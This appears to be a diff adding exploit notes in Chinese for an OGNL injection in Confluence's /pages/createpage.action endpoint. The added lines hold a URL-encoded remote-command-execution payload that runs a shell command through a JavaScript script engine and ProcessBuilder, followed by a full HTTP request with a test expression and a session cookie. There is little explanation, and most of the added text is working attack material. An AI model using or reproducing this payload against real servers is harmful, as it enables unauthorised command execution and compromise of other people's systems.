| skipped 18 lines |
| 19 | 19 | | |
| 20 | 20 | | 数据库的账号密码postgres |
| 21 | 21 | | |
| | 22 | + |  |
| | 23 | + | |
| | 24 | + | 设置邮箱账号密码 |
| | 25 | + | |
| | 26 | + |  |
| | 27 | + | |
| | 28 | + |  |
| | 29 | + | |
| | 30 | + | 执行任意命令 |
| | 31 | + | |
| | 32 | + | queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 |
| | 33 | + | |
| | 34 | + | /pages/createpage.action |
| | 35 | + | 这个接口需要一个可以创建页面的用户权限： |
| | 36 | + | |
| | 37 | + | GET /pages/createpage.action?spaceKey=KK&fromPageId=65618&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1 |
| | 38 | + | Host: xxx.xxx.xxx.xxx:8090 |
| | 39 | + | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 |
| | 40 | + | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 |
| | 41 | + | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 |
| | 42 | + | Accept-Encoding: gzip, deflate |
| | 43 | + | Connection: close |
| | 44 | + | Referer: http://xxx.xxx.xxx.xxx:8090/display/KK/aza |
| | 45 | + | Cookie: JSESSIONID=861A420FD09295137056E0FA68111ECF; confluence.browse.space.cookie=space-attachments; confluence.last-web-item-clicked=system.space.tools%2Fpermissions%2Fspacepermissions; confluence.list.pages.cookie=list-content-tree |
| | 46 | + | Upgrade-Insecure-Requests: 1 |
| | 47 | + | |
| 22 | 48 | | |
